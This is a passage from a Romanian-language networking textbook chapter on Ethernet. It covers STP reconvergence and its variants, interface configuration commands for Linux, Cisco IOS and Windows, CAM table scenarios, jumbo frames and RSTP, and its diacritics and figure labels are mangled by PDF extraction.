STP sau 802.1D (dup cum este numit de IEEE) are rolul de menine o topologie de nivel doi lipsit de bucle. Echipamentele participante la reeaua STP tiu doar cum ajung la root bridge i care este starea legturilor cu echipamentul direct conectat, neavnd o viziune de ansamblu asupra ntregii reele. Pentru a reaciona rapid la schimbrile de topologie se trimit, la interval de Hello Time, BPDU-uri ctre toate echipamentele direct conectate. ntreruperile fizice la nivel de STP pot fi clasificate n dou categorii: ntreruperi directe, cnd sunt afectate legturi direct conectate la echipamentul curent, sau ntreruperi indirecte, ce au loc dincolo de legturile Ethernet ale echipamentului curent. n cazul unei ntreruperi directe pot avea loc urmatoarele evenimente: Dac portul este n blocking, intrrile asociate cu acesta din tabela CAM vor disprea, dar nu se va genera nici o modificare in topologia STP. Dac portul era designated, pe echipamentul local nu se ia nici o aciune. Dac un echipament pe treapta ierarhic inferioar pierde portul root se declaneaz o schimbare de topologie. Dac se pierde portul root: se identific o cale alternativ (care e n blocking) ctre root bridge-ul curent i se trece prin listening i learning pentru a deveni noul root port. Dac se pierd toate legturile ctre root bridge-ul actual, echipamentul curent se va anuna pe sine ca fiind root bridge. Dac un echipament pierde toate legturile ctre root bridge, acesta va ncepe s trimit BPDUuri anunndu-se pe sine ca deintorul acestui rol. Astfel, pn la stabilizarea topologiei, n reea vor circula n paralel dou tipuri de BPDU-uri cu informaii distincte. BPDU-urile despre un nou root bridge primite pe un anumit port nu vor fi luate n considerare pn cnd informaia asociat cu root bridge-ul curent nu expir. Intervalul de timp dup care expir datele asociate cu root bridge-ul curent, dac nu se mai primesc BPDU-uri de la acesta, se numete Max _Age i are valoarea implicit de 20 de secunde.

Root bridge 3 D
Sw3

19 19

R B 4

4
Sw2

4 D D 1 3 R
Sw1

D 2

D 19 3 R
Sw7

19

2-15 STP - reconvergena topologiei n cazul figurii 2-15, SW1 a pierdut toate legturile la SW3 i nu mai are porturi alternative ctre acesta care sa fie n blocking. Ca atare, trimite BPDU-uri n toata reeaua, anunndu-se pe sine ca root bridge. SW7 primete BPDU-uri att de la SW1 ct i de la SW2. SW7 este evident afectat de schimbarea de topologie, ntruct urmeaz s i schimbe root port-ul. La expirarea intervalului Max_Age, SW7 va considera BPDU-urile primite de la SW1 inferioare i va trece portul 4 n listening

R e e l e E t h e r n e t | 71 ntruct BPDU-rile de root bridge nu mai sunt primite pe portul 3. Pn n momentul cnd SW7 va putea procesa trafic util n continuare va trece un interval de timp de 2xForward_Delay+Max_Age, adic n total 50 s. Pentru a procesa traficul n mod eficient trebuie ca rolul porturilor s fie luat n considerare n construcia tabelei CAM ntrucat, dup cum s-a menionat, doar porturile care sunt n forwarding proceseaz trafic util. Ca atare, segmentele Ethernet unde porturile nu sunt n forwarding nu trebuie s se regseasc n tabela CAM. Astfel, odat cu semnalarea modificrilor n arborele STP, trebuie modificate i tabelele cu adresele MAC ale switch-urilor. Mecanismul prin care se asigur coerena tabelelor CAM, relativ la configuraia STP actual, este: Un switch care detecteaz un link ce trece n up/down trimite BPDU-uri cu flag-ul TCN (Topology Change Notification) setat la interval de Hello_interval, pe portul root pn cnd primete un BPDU cu flag-ul TCN Acknowledged; Fiecare switch care primete TCN BPDU-uri pe portul designated le trimite mai departe pe port-ul root i apoi ateapt TCN Acknowledged BPDU; Cnd BDPU-rile TCN ajung la root bridge, acesta trimite pe toate porturile BPDU-uri TCN Acknowledged timp de 2xForward_Delay+Max_Age Toate switch-urile care primesc BPDU-urile de la root bridge vor modifica timpul de expirare al adreselor MAC din tabela CAM de la 300 de secunde la Forward_Delay, pentru a facilita renvarea acestora.

2.4.5 Variante de STP


Pentru a compensa pentru tehnologii cum ar fi VLAN-urile precum i pentru creterea necesitii reelelor cu o convergen mai rapid au fost introduse variante noi ale STP -ului. Aceste protocoale au la baz aceleai principii ca STP-ul, pentru a menine o reea de nivel doi redundant fr bucle logice. Astfel, tipurile de STP folosite la ora actual sunt urmtoarele: CST (Common Spanning Tree protocol) folosete o singur instan de STP pentru ntreaga reea de switch-uri, indiferent cte VLAN-uri sunt configurate pe acestea. PVST (Per VLAN Spanning Tree protocol) este un protocol proprietar Cisco care creeaz o instan de STP pentru fiecare VLAN configurat pe switch. Folosete ISL ca protocol de trunking i permite customizarea reelei de nivel doi pentru fiecare VLAN de pe switch. PVST+ (Per VLAN Spanning Tree protocol) creeaz o instan de STP pentru fiecare VLAN configurat pe switch. Folosete 802.1Q ca protocol de trunking i permite interoperabilitatea cu CST i PVST. Este protocolul implicit care ruleaz pe switch-urile de la Cisco. RSTP (Rapid Spanning Tree protocol 802.1W) trateaz aceleai probleme ca STP, dar au fost aduse numeroase mbuntiri la nivelul algoritmului, pentru reducerea timpilor de convergen. MST (Multiple instance Spanning Tree protocol 802.1s) se bazeaz pe RSTP i permite gruparea selectiv de instane de STP i grupuri de VLAN-uri. A fost creat pentru a obine flexibilitatea n configurare propus de PVST, dar cu reducerea instanelor de STP necesare i, implicit, cu scderea resurselor de procesare. ntruct la ora actual orice reea de producie folosete VLAN-uri pentru a segmenta traficul, folosirea PVST+ ca protocol implicit a fost o soluie natural. Cnd o interfa este asociat cu un VLAN, va procesa trafic doar din acesta. Dat fiind c un VLAN este de obicei prezent pe mai multe switch-uri, nevoia de customizare a fluxului de trafic util n reea a fost una stringent. Modul de operare al PVST-ului este acelai cu STP-ul dar, n plus, a fost introdus noiunea de Extended System ID n loc de Bridge ID. Dac n STP Bridge ID-ul era format din prioritate i MAC, n cazul STP prioritatea este format din Extended System ID ( 12 bii) i Prioriy (2 bii). Rezultatul direct este faptul c prioritatea care se regsete n configuraiile switch-ului este, de fapt, prioritatea configurat + VLAN ID-ul, stocate ntr-un numr pe 16 bii. Dat fiind faptul c pe un switch Cisco pot fi configurate 4096 de VLAN-uri, prioritatea maxim configurabil este 61440.

72 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

2.5 Utilitare pentru gestiunea reelelor Ethernet


2.5.1 Linux
Pentru inspectarea i manipularea parametrilor unei interfee Ethernet n Linux se folosete ethtool. Rulnd comanda fr argumente se pot regsi toi parametrii de funcionare ai interfeei.
root@HQ:~# ethtool eth1 Settings for eth1: Supported ports: [ TP ] Supported link modes: 100baseT/Half 100baseT/Full 1000baseT/Full Supports auto-negotiation: Yes Advertised link modes: 100baseT/Half 100baseT/Full 1000baseT/Full Advertised auto-negotiation: Yes Speed: 100Mb/s Duplex: Full Port: Twisted Pair PHYAD: 0 Transceiver: internal Auto-negotiation: on Supports Wake-on: umbg Wake-on: g Current message level: 0x00000007 (7) Link detected: yes

Pentru a modifica viteza i duplex-ul la care opereaz interfaa, aceasta trebuie nti nchis folosind comenzile ifconfig sau ip link. Apoi, utiliznd parametrii speed i duplex, trebuie s fie oprit i funcia de auto-negociere pe interfa, folosind comanda ethtool.
root@HQ:~# ifconfig eth1 down root@HQ:~# ethtool s eth1 speed 10 duplex half autoneg off

Pentru a lista adresa MAC se pot folosi oricare dintre comenzile ethtool, ifconfig sau ip link. De obicei se prefer ultimele dou, ntruct prima nu se regsete n mod implicit pe majoritatea distribuiilor Linux.
root@HQ:~# ethtool -P eth1 Permanent address: 00:0c:29:af:f4:25

root@HQ:~# ip link show dev eth1 2: eth1: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc pfifo_fast state DOWN qlen 1000 link/ether 00:0c:29:af:f4:25 brd ff:ff:ff:ff:ff:ff root@HQ:~#ifconfig eth1 eth0 Link encap:Ethernet HWaddr 00:0c:29:af:f4:25 inet6 addr: fe80::20c:29ff:feaf:f425/64 Scope:Link UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:1492 errors:0 dropped:0 overruns:0 frame:0 TX packets:494 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:566547 (566.5 KB) TX bytes:52398 (52.3 KB) Interrupt:19 Base address:0x2000

Modificrile asupra adresei MAC, aa cum este stocat la nivelul sistemului de operare n stiva de networking, se pot face folosind comanda ifconfig, dup ce este nchis interfaa.
root@HQ:~# ifconfig eth0 down root@HQ:~# ifconfig eth0 hw ether AA:BB:CC:01:02:32 root@HQ:~# ifconfig eth0 up

Aceeai modificare poate fi aplicat folosind ip link.


root@HQ:~# ip link set dev eth0 down root@HQ:~# ip link set eth0 address aa:bb:cc:11:22:33 root@HQ:~# ip link set dev eth0 up

Similar, MTU-ul poate fi modificat folosind ambele comenzi.

R e e l e E t h e r n e t | 73
root@HQ:~# ifconfig eth0 mtu 1700 root@HQ:~# ip link set dev eth0 mtu 1500

2.5.2 Cisco IOS


Pentru a lista parametrii Ethernet ai unei interfee pe un ruter sau switch se folosete comanda show interfaces.
router#show interfaces gigabitEthernet 0/1 GigabitEthernet0/1 is up, line protocol is up Hardware is PQ3_TSEC, address is d48c.b528.9101 (bia d48c.b528.9101) MTU 1500 bytes, BW 1000000 Kbit/sec, DLY 10 usec, reliability 255/255, txload 1/255, rxload 1/255 Keepalive set (10 sec) Full Duplex, 1Gbps, media type is RJ45 output flow-control is unsupported, input flow-control is unsupported ARP type: ARPA, ARP Timeout 04:00:00 Last input 00:00:00, output 00:00:00, output hang never Last clearing of "show interface" counters never Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0 Queueing strategy: fifo Output queue: 0/40 (size/max) 5 minute input rate 85000 bits/sec, 23 packets/sec 5 minute output rate 80000 bits/sec, 23 packets/sec 2110643 packets input, 752315587 bytes, 0 no buffer Received 397274 broadcasts (0 IP multicasts) 0 runts, 0 giants, 0 throttles 0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored 0 watchdog, 392473 multicast, 0 pause input 2002831 packets output, 1386646070 bytes, 0 underruns 0 output errors, 0 collisions, 0 interface resets 0 unknown protocol drops 0 babbles, 0 late collision, 0 deferred 2 lost carrier, 0 no carrier, 0 pause output 0 output buffer failures, 0 output buffers swapped out

Modificarea adresei MAC a unei interfee de ruter se face folosind comanda mac-address din contextul de config-if.
router#configure terminal router(config)#interface gigabitEthernet 0/1 router(config-if)#mac-address aaaa.bbbb.cccc

Pentru a modifica viteza la care funcioneaz interfaa, se folosete comanda speed din contextul config-if. n exemplul de mai jos, viteza de funcionare a interfeei a fost modificat la 100 Mbps.
router#configure terminal router(config)#interface gigabitEthernet 0/1 router(config-if)#speed 100

Pentru a modifica duplex-ul de pe interfa se poate folosi comanda duplex din acelai context.
router#configure terminal router(config)#interface gigabitEthernet 0/1 router(config-if)#duplex half

MTU-ul la nivel de interfa se seteaz folosind comanda mtu din contextul config-if
router#configure terminal router(config)#interface gigabitEthernet 0/1 router(config-if)#mtu 1800

2.5.3 Windows
Pentru a vizualiza adresa MAC n Windows Server 2008 n linia de comand trebuie rulat comanda ipconfig cu parametrul /all
C:\Users\Administrator>ipconfig /all Ethernet adapter Local Area Connection: Connection-specific DNS Suffix . : localdomain Description . . . . . . : Intel(R) PRO/1000 MT Network Connection Physical Address. . . . . . . . . : 00-0C-29-95-27-AC DHCP Enabled. . . . . . . . . . . : Yes Autoconfiguration Enabled . . . . : Yes Link-local IPv6 Address ..... : fe80::4a:98c5:c13a:99ca%11(Preferred) IPv4 Address. . . . . . . . . . . : 192.168.58.132(Preferred) Subnet Mask . . . . . . . . . . . : 255.255.255.0

74 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
Lease Obtained...... . . . . : Sunday, September 09, 2012 8:25:48 PM Lease Expires . . . . . . . . : Sunday, September 09, 2012 8:55:47 PM Default Gateway . . . . . . . . . : 192.168.58.2 DHCP Server . . . . . . . . . . . : 192.168.58.254 DHCPv6 IAID . . . . . . . . . . . : 234884137 DHCPv6 Client DUID. . . . : 00-01-00-01-17-71-40-D7-00-0C-29-95-27-AC DNS Servers . . . . . . . . . . . : 192.168.58.2 Primary WINS Server . . . . . . . : 192.168.58.2 NetBIOS over Tcpip. . . . . . . . : Enabled

2-16 Configurarea adresei MAC pe Windows Server 2008 Pentru a seta adresa MAC pe Windows Server 2008 (2-16) trebuie parcuri urmtorii pai: Navigare pn la Control Panel > Network and internet > View Network Status and Task > Change Adapter Settings > Selectarea plcii de reea pe care se dorete operarea modificrii. Navigare pn la Right-click > Properties > Configure > Advanced Modificarea parametrului Locally Administered Address Viteza interfeei (2-17) se poate regsi folosind urmtorii pai: Navigare pana la Control Panel > Network and internet > View Network Status and Task > Change Adapter Settings > Selectarea plcii de reea Selectare Right-click > Status Inspectarea si modificarea setrilor de duplex i vitez in foarte mult de capabilitile puse la dispoziie de driverele plcii de reea. Astfel, este posibil s nu fie regsit aceast opiune. Pentru a putea modifica setrile de duplex i speed ( 2-18) trebuie parcuri urmtorii pai: Navigare pn la Control Panel > Network and internet > View Network Status and Task > Change Adapter Settings > Selectarea plcii de reea pe care dorim s operm Navigare pn la Right-click > Properties > Configure > Advanced Modificarea unuia dintre parametrii Duplex Mode, Media, Media Type, sau Link Speed & Duplex

R e e l e E t h e r n e t | 75

2-17 Viteza interfeei n Windows Server 2008 Pentru a putea vizualiza sau modifica MTU-ul setat pe o interfa din lina de comand se poate folosi comanda netsh.
C:\Users\Administrator>netsh int ip show int Idx Met MTU State Name --- ---------- ---------- ------------ --------------------------1 50 4294967295 connected Loopback Pseudo-Interface 1 11 10 1500 connected Local Area Connection C:\Users\Administrator>netsh interface ipv4 set subinterface "Local mtu=1300 store=persistent

Area

Connection"

2-18 Modificarea setrilor de duplex i speed n Windows Server 2008

76 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

2.6 Scenarii
2.6.1 Comutarea cadrelor n interiorul reelei locale
Broadcast 8
Sw7

C 4 D 9
Sw8

Broadcast 1 8
Sw1

Broadcast 7 3

9 Broadcast

2-19 Trimiterea unui cadru de la C la E cnd tabelele CAM sunt vide Mai departe, vom observa procesul prin care switch-urile i populeaz tabela CAM pe msur ce proceseaz trafic. n 2-19 i 2-20 se poate observa cum trece traficul, respectiv cum se populeaz tabelele switch-urilor dup o prim comunicare ntre staia C i staia E. n faz iniial tabelele CAM sunt goale, deci cadrul va fi trimis pe toate porturile mai puin cel de pe care a venit. Sw8 4 Sw1 8 Sw7 3

MAC [C]

MAC[C]

MAC[C]

2-20 Tabelele CAM dup transmirerea unui cadru de la staia C n 2-22 apar modificrile ntreprinse n urma traficului de ntoarcere de la Staia E la Staia C. C 4 D 9
Sw8

8 1 8
Sw1

Sw7

2-21 Trimiterea unui cadru de la E la C Dup cum se poate observa n 2-21, traficul de ntoarcere ctre Staia C a fost n totalitate unicast. Tablele CAM se populeaz progresiv cu asocieri de tipul MAC-port, pe baza adreselor surs ale cadrelor comutate. Sw8 4 1 Sw1 MAC[C] 8 MAC[E] 7 2-22 Tabelele CAM rspunsul staiei E Sw7 3 8

MAC [C] MAC[E]

MAC[C] MAC[E]

n exemplul din 2-23, Staia D a trimis un cadru de broadcast n reea. Se poate observa c traficul se propag aproape identic ca n primul exemplu, excepie fcnd faptul c s-a replicat cadrul i pe portul 4, chiar dac era deja asociat cu MAC-ul lui C. Acest comportament relev cantitatea mare de trafic de broadcast care se creeaz dup golirea tabelei CAM, ce urmeaz unei modificri de

R e e l e E t h e r n e t | 77 topologie n STP. Cu toate c a fost vorba de un cadru de broadcast, s-au creat n continuare asocierile ntre adresele MAC i porturi (vezi 2-24). C Broadcast 4 D 9
Sw8

Broadcast 1 8
Sw1

Broadcast 7 3

Broadcast 8
Sw7

9 Broadcast

Broadcast

2-23 Staia D trimite un cadru broadcast MAC [C] MAC[E] MAC [D] Sw8 Sw1 4 MAC[C] 8 MAC[C] 1 MAC[E] 7 MAC[E] 9 MAC [D] 8 MAC [D] 2-24 Tabelele CAM dup trimiterea unui cadru de broadcast de la staia D Sw7 3 8 3

Cel de al patrulea cadru este trimis de staia F i este destinat staiei C (vezi 2-25). C 4 D 9
Sw8

8 1 8
Sw1

3
Sw7

2-25 Trimiterea unui cadru de la F la C Adres MAC [C] MAC [D] MAC[E] MAC[F] Interfee SW8 Adresa Interfee SW1 Adresa Interfee SW7 4 MAC[C] 8 MAC[C] 3 9 MAC[E] 7 MAC[E] 8 1 MAC[D] 8 MAC [D] 3 1 MAC [F] 7 MAC [F] 9 2-26 Tabelele CAM trimterea cadrului de la staia F ctre staia C

Dup ce au fost completate toate asocierile, cadrele vor fi replicate doar ntre porturile ctre staiile sau echipamentele direct implicate n comunicare.

2.6.2 STP
n mod implicit pe switch-urile Cisco Ruleaza PVST+. Acest protocol folosete aceleai principii ca i STP pentru a asigura o topologie de nivel 2, redundant, fr bucle, dar ruleaz o instan separat de protocol pentru fiecare VLAN. Pentru vedea un set de informaii de baz despre starea protocolului STP pe un echipament se folosete comanda show spanning-tree. n cazul folosirii de PVST+ rularea acestei comenzi va avea ca rezultat listarea strii instanelor de STP de pe toate VLAN-urile switch-ului. Pentru a vedea parametrii STP doar pe un VLAN se ruleaz show spanning-tree vlan.
SW2#show spanning-tree vlan 10 VLAN0010 Spanning tree enabled protocol ieee Root ID Priority 24586 Address 0001.C9BD.4E63 This bridge is the root Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec

78 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

Bridge ID Priority 24586 (priority 24576 sys-id-ext 10) Address 0001.C9BD.4E63 Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Aging Time 20 Interface Role Sts Cost Prio.Nbr Type ---------------- ---- --- --------- -------- --------------------------Fa0/1 Desg FWD 19 128.1 P2p Fa0/3 Desg FWD 19 128.3 P2p Fa0/4 Desg FWD 19 128.4 P2p

Un avantaj al folosirii PVST este faptul c unele interfee trunk pot fi n forwarding pentru un VLAN i n blocking pentru altul, permind funcionaliti de balansare a traficului peste mai multe legturi.
SW2#show spanning-tree vlan 20 VLAN0020 Spanning tree enabled protocol ieee Root ID Priority 24596 Address 0030.F209.A1BC Cost 19 Port 1(FastEthernet0/1) Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Bridge ID Priority 32788 (priority 32768 sys-id-ext 20) Address 0001.C9BD.4E63 Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec Aging Time 20 Interface Role Sts Cost Prio.Nbr Type ---------------- ---- --- --------- -------- --------------------------Fa0/1 Root FWD 19 128.1 P2p Fa0/3 Altn BLK 19 128.3 P2p Fa0/4 Altn BLK 19 128.4 P2p

n cazul de mai sus porturile 3 i 4 proceseaz trafic util din VLAN-ul 10 dar nu i din VLAN-ul 20. Se poate observa cum bridge id-ul se compune din valoarea de prioritate i numrul VLAN-ului. Alturi de informaiile despre switch-ul curent, se pot obine Root Bridge ID, precum i portul fizic pe care se ajunge la acesta. n cazul PVST, un switch poate fi Root Bridge pe un VLAN chiar dac nu are acest rol i pe restul. Pentru a obtine o viziune de ansamblu asupra tuturor instanelor de STP care ruleaz la nivelul unui switch se poate folosi comanda show spanning-tree summary. Aceasta va lista strile porturilor pe diversele instane STP i varianta de STP care ruleaz (MST,PVST,RSTP,CST).
SW2#show spanning-tree summary Switch is in pvst mode Root bridge for: VLAN0010 Extended system ID is enabled Portfast Default is disabled PortFast BPDU Guard Default is disabled Portfast BPDU Filter Default is disabled Loopguard Default is disabled EtherChannel misconfig guard is disabled UplinkFast is disabled BackboneFast is disabled Configured Pathcost method used is short Name Blocking Listening Learning Forwarding STP Active ---------------------- -------- --------- -------- ---------- ---------VLAN0001 0 0 0 3 3 VLAN0010 0 0 0 3 3 VLAN0020 2 0 0 1 3 ---------------------- -------- --------- -------- ---------- ---------3 vlans 2 0 0 7 9

n cazul PVST+ este posibil echilibrarea traficului ntre mai multe legturi fizice prin setarea manual a parametrilor folosii n negocierea rolurilor la nivelul segmentelor Ethernet. Dat fiind c balansarea traficului implic multiplexarea fluxului de date peste mai multe legturi de cost egal, i al doilea parametru ca importan este Bridge ID-ul, este convenabil ca acesta s fie manipulat.
SW#configure terminal router(config)#spanning-tree vlan 10 root primary

R e e l e E t h e r n e t | 79 Comanda spanning-tree root primary asigur faptul c switch-ul actual preia rolul de Root Bridge. Comanda folosete urmtoarea logic: Dac prioritatea root bridge-ului curent este mai mare de 24,576, valoarea prioritii se seteaz la 24,576; Daca prioritatea root bridge-ului curent este sub 24,576, atunci prioritatea switch-ului curent va deveni egal cu prioritatea root bridge-ului curent, decrementat cu 4096. n cazul PVST comanda poate fi rulat la nivel de VLAN:
SW#configure terminal router(config)#spanning-tree vlan 10 root secondary

Comanda de mai sus are rolul de a configura un switch ca un backup root bridge n condiiile n care cel curent nu va mai funciona. n practic, comanda de mai sus seteaz prioritatea switch-ului curent la valoarea de 28672, indiferent de prioritatea root bridge-ului. Comenzile de mai sus nu au o funcionalitate persistent, n sensul ca iau n considerare prioritatea root bridge-ului n momentul rulrii i nu reacioneaz dac ulterior n reea apar switchuri cu o prioritate mai bun.
SW#configure terminal router(config)#spanning-tree vlan 10 priority 4096

O limitare a comenzii spanning-tree root primary este faptul c aceasta eueaz dac stabilirea switch-ului curent ca root bridge implic decrementarea prioritii la 0. Pentru a seta prioritatea unui switch la 0 se poate folosi comanda spanning-tree priority.
SW#configure terminal router(config)#spanning-tree vlan 10 hello-time 5

Comanda de mai sus modific intervalul Hello la care se trimit BPDU-uri la toi vecinii switch-ului curent. Valoarea implicita a acestuia este de 2 secunde, dar poate lua valori ntre 1 i 10 secunde.
SW#configure terminal router(config)#spanning-tree vlan 10 forward-time 5

Comanda de mai sus modific intervalul de Forward_Delay care controleaz ct timp dureaz tranziia ntre setrile Listening Learning i ntre Learning Forwarding. n mod implicit acest interval este de 15 secunde dar poate lua valori ntre 4 i 30 de secunde.
SW#configure terminal router(config)#spanning-tree vlan 10 max-age

Comanda de mai sus modific intervalul de Max Age care reglementeaz intervalul de timp maxim n care un switch poate s nu primeasca BDPU-uri de la Root Bridge ul curent pn a-l considera nefuncional. Valoarea implicit este de 20 secunde, dar poate fi setat ntre 6 i 40 de secunde.
SW#configure terminal router(config)#spanning-tree vlan 10 diameter 5

Intervalele de timp STP (Hello, Forward_Delay i Max Age) au fost gndite pentru a asigura diseminarea informaiei privind o schimbare de topologie n toata reeaua, pentru evitarea buclelor logice i a propagrii de informaii eronate. Valorile implicite rezult dintr-un calcul elaborat i sunt menite s acomodeze o reea cu diametrul de maxim 7 switch-uri. Mai exact, pentru a asigura ca BPDU-urile se propag la toate echipamentele n intervalul de 2xForward_Delay, reeaua de nivel doi nu trebuie s aib mai mult de 7 hopuri de nivel 2. Comanda de mai sus este un macro care modific intervalele Hello, Forward_Delay i Max Age, conform calculului menionat mai sus, pentru a acomoda dezideratul de topologii fr bucle logice, n reele de switch-uri cu diametru variabil. Dac se dorete optimizarea timpilor de convergen, se recomand folosirea acestei comenzi i nu modificarea individual a celor trei intervale.
SW#configure terminal SW(config)#interface FastEthernet0/1 SW(config-if)#spanning-tree vlan 10 port-priority 200

80 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Prin directiva de mai sus se poate modifica prioritatea la nivel de port pentru a manipula negocierile STP pe segmentul Ethernet. Acesta este al treilea criteriu, n ordinea prioritii pentru stabilirea portului cu rolul designated.
configure terminal SW(config)#no spanning-tree vlan 10

Prin comanda de mai sus se dezactiveaz instana de STP aferenta VLAN-ului 10. Ca rezultat direct toate legturile Ethernet vor procesa trafic util instantaneu, dar exist pericolul formrii de bucle logice i implicit de avalane de difuzari (broadcast storm).

2.7 Studiu de caz


2.7.1 Tratarea jumbo frames
In standardul Ethernet clasic (IEEE 802.3) cantitatea maxim de date care poate fi transmis este de 1518 bytes. Aceasta valoare este compus din adresa MAC surs (6 bytes), adresa MAC destinaie (6 bytes), Protocol ID (2 bytes), CRC (4 bytes), rmnnd astfel 1500 de bytes pentru date. n primele implementri de Ethernet legturile fizice erau limitate la 10 Mpbs half-duplex i singura metod de a combate coruperea datelor n timpul transportului era retransmitere cadrelor. Cum mediile de transmisie iniiale nu erau att de eficiente n ecranarea interferenelor electromagnetice, coruperea datelor era un eveniment destul frecvent, precum i retransmisiile. Dincolo de acest aspect, inclusiv logica de funcionare a Ethernet-ului e gndit s lucreze cu coliziuni i retransmisii. Date fiind condiiile enunate, n cazul n care cantitatea de date transportat la nivel de cadru devenea prea mare, procedeul de retransmitere de cadre ar fi devenit destul de ineficient. In prezent legturile de 1Gbps au devenit ubicue n toate mediile, iar switch-urile pentru centre de date de 10 Gbps sunt aproape standard. In mediile Ethernet cablate legturile half-duplex sunt rar ntlnite, iar tehnologiile de ecranare precum i calitatea materialelor folosite au minimizat impactul interferenelor electromagnetice ca i factor n coruperea cadrelor Ethernet la transport. n prezent cea mai costisitoare parte a comunicaiei se nregistreaz la cele dou capete, unde datele sunt segmentate i formatate n cadre Ethernet. Pentru optimizarea comunicaiei soluia evident const n mrirea cantitii de date ce poate fi transmis folosind aceleai date de control, metod supranumit jumbo frames. n implementarea acestei idei trebuie luat n considerare faptul c, n ciuda tuturor mbuntirilor, cadrele se corup ocazional i singurul mod de a detecta acest lucru este prin valoarea CRC (Cyclic Redundancy Check) inserat n fiecare cadru. Un CRC de 4 bytes funcioneaz pentru o cantitate de informaii de maxim 11000 de bytes. Cum antetele Etherne t sunt codate la nivel de hardware n toate plcile de reea, pragul superior pentru mrimea cadrelor Ethernet se va limita astfel la aceast valoare. Parametrul la nivelul sistemului de operare care reglementeaz mrimea unui cadru de nivel doi este MTU (Maximum Transferable Unit). Cu toate c nici n prezent nu s-a ajuns la un consens legat de MTU-ul pentru Jumbo Frames, standardul de facto este de 9000 de bytes. n momentul n care se dorete implementarea unui tronson Ethernet cu Jumbo frames sunt recomandate urmtoarele msuri de bun practic: ntreaga reea trebuie s aib legturi gigabit; Toate echipamentele de reea intermediare trebuie s suporte jumbo frames; Sistemele de operare ale punctelor terminale trebuie s aib drivere i plci de reea cu suport pentru jumbo frames. Pentru Linux modificarea MTU-ului se face folosind comanda ifconfig.
root@HQ#ifconfig eth1 mtu 9000

n condiiile n care valoarea nu este suportat la nivel de kernel, se va returna eroarea SIOCSIFMTU: Invalid argument. In aceast situaie se recomand fie modificarea opiunii la nivel de kernel, fie folosirea unei alte valori.

R e e l e E t h e r n e t | 81 n cazul echipamentelor Cisco, pentru a implementa suportul pentru jumbo frames la nivel de interfa se folosete comanda mtu.
SW2#configure terminal SW(config)#interface FastEthernet0/1 SW2(config-if)#mtu 9000

Comanda poate fi rulat doar pe interfee gigabit. n cazul switch-urilor Cisco se poate modifica MTU-ul pe toate interfetele echipamentelor folosind comanda system mtu.
SW2#configure terminal SW2(config)#system mtu 1900

Setrile modific MTU-ul doar pe interfetele de 10 si 100 Mbps i valorile folosite pot fi ntre 1500 si 1998 de bytes.
SW2#configure terminal SW2(config)#system mtu jumbo 9000

Setrile modific MTU-ul doar pe interfeele de 1 i 10 Gbps iar valorile alocabile sunt ntre 1500 si 9000 de bytes. Pe Windows Server 2008 abilitatea de a procesa jumbo frames(2-27) depinde de suportul oferit de driverele plcii de reea. n condiiile n care acestea permit modificarea MTU-ului, paii care trebuie urmai sunt: Navigare pana la Control Panel > Network and internet > View Network Status and Task > Change Adapter Settings > Selectarea plcii de reea pe care dorim s operm Navigare pn la Right-click > Properties > Configure > Advanced Modificarea uneia dintre opiunile Jumbo Packet sau Jumbo Packet Payload Size

2-27 Jumbo frames pe Windows Server 2008

82 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

2.7.2 RSTP
O metric important pentru evaluarea calitativ a unei reele este uptime-ul. Acesta se definete ca procentul de timp n care o reea este funcional n decursul unui interval anume, de obicei un an. Pentru companiile care ofer servicii de reea exist n prezent trei standarde: - 99% - 88 ore/an downtime - 99.9% - 8.8 ore/an downtime - 99.99% - 52 minute/an downtime - 99.999% - 5 minute/an downtime Algoritmul STP are rolul critic de a asigura legturi de nivel doi redundante, simultan evitndu-se buclele de switching i, odata cu ele, fenomenul de broadcast storm. Algoritmul STP depinde de dou timere: Forward Delay (15 sec) i Max age (20 sec). Timpul de convergen STP sau timpul necesar pentru ca reeaua s transporte n continuare trafic util este ntre 2xForward_Delay sau 2xForward_Delay+Max_Age, mai exact ntre 30 i 50 de secunde pentru orice modificare de link n reeaua STP. Lund n calcul aceti factori, n faza iniial pare aproape imposibil dezideratul de triple-nine (99.999). Cu toate acestea, exista centre de date care ofer acest nivel de serviciu. Aparent, o prim optimizare posibil ar consta n reducerea acestor timpi. Trebuie menionat nsa c valorile implicite au fost stabilite lund n calul elemente precum: latena la nivel de echipament, latena la nivel de reea, precum i probabilitatea de eroare. Cisco a reglementat aceste valori pentru a preveni buclele de switching n reele cu diametru mai mic sau egal cu 7 switch -uri, valoare care este atins rapid n reele complexe. Atunci cum se poate optimiza STP-ul? Pentru a rspunde la aceast ntrebare trebuie s identificm care componente din algoritmul acestuia l fac lent. Principalele dou elemente care ncetinesc procesul de convergen sunt: 1) faptul c portul rmne blocat pe o durat suficient pentru a garanta diseminarea schimbrii de topologie n toata reeaua i 2) faptul c informaia pentru o cale mai bun ctre root bridge nu este luat n considerare pn ce informaia veche nu expir. RSTP sau 802.1W a fost introdus ca o optimizare a algoritmului STP. Acesta urmrete acelai scop (link-uri redundante fr bucle de nivel 2) dar necesit un timp maxim de convergen de doar 6 secunde. O prima optimizare care a fost adus algoritmului original const n crearea a dou stri noi asignabile port-urilor de switch: 1) Alternate port - este un port secundar pe care se primesc BPDU-uri inferioare fa de cele de pe portul de root, de la un alt switch fa de cel prin care se ajunge n prezent la root bridge. 2) Backup port - este un port secundar pe care se primesc BPDU-uri inferioare fa de cele de pe portul de root, de la acelai switch prin care se ajunge n prezent la root bridge. Un switch poate ine o ierarhie de porturi alternate sau backup i, n momentul cnd se pierde legtur principal ctre root bridge, se va selecta cel mai bun port pentru a procesa instantaneu trafic. Stri STP Stri RSTP Inclus n topologia activ Disabled Discarding Nu 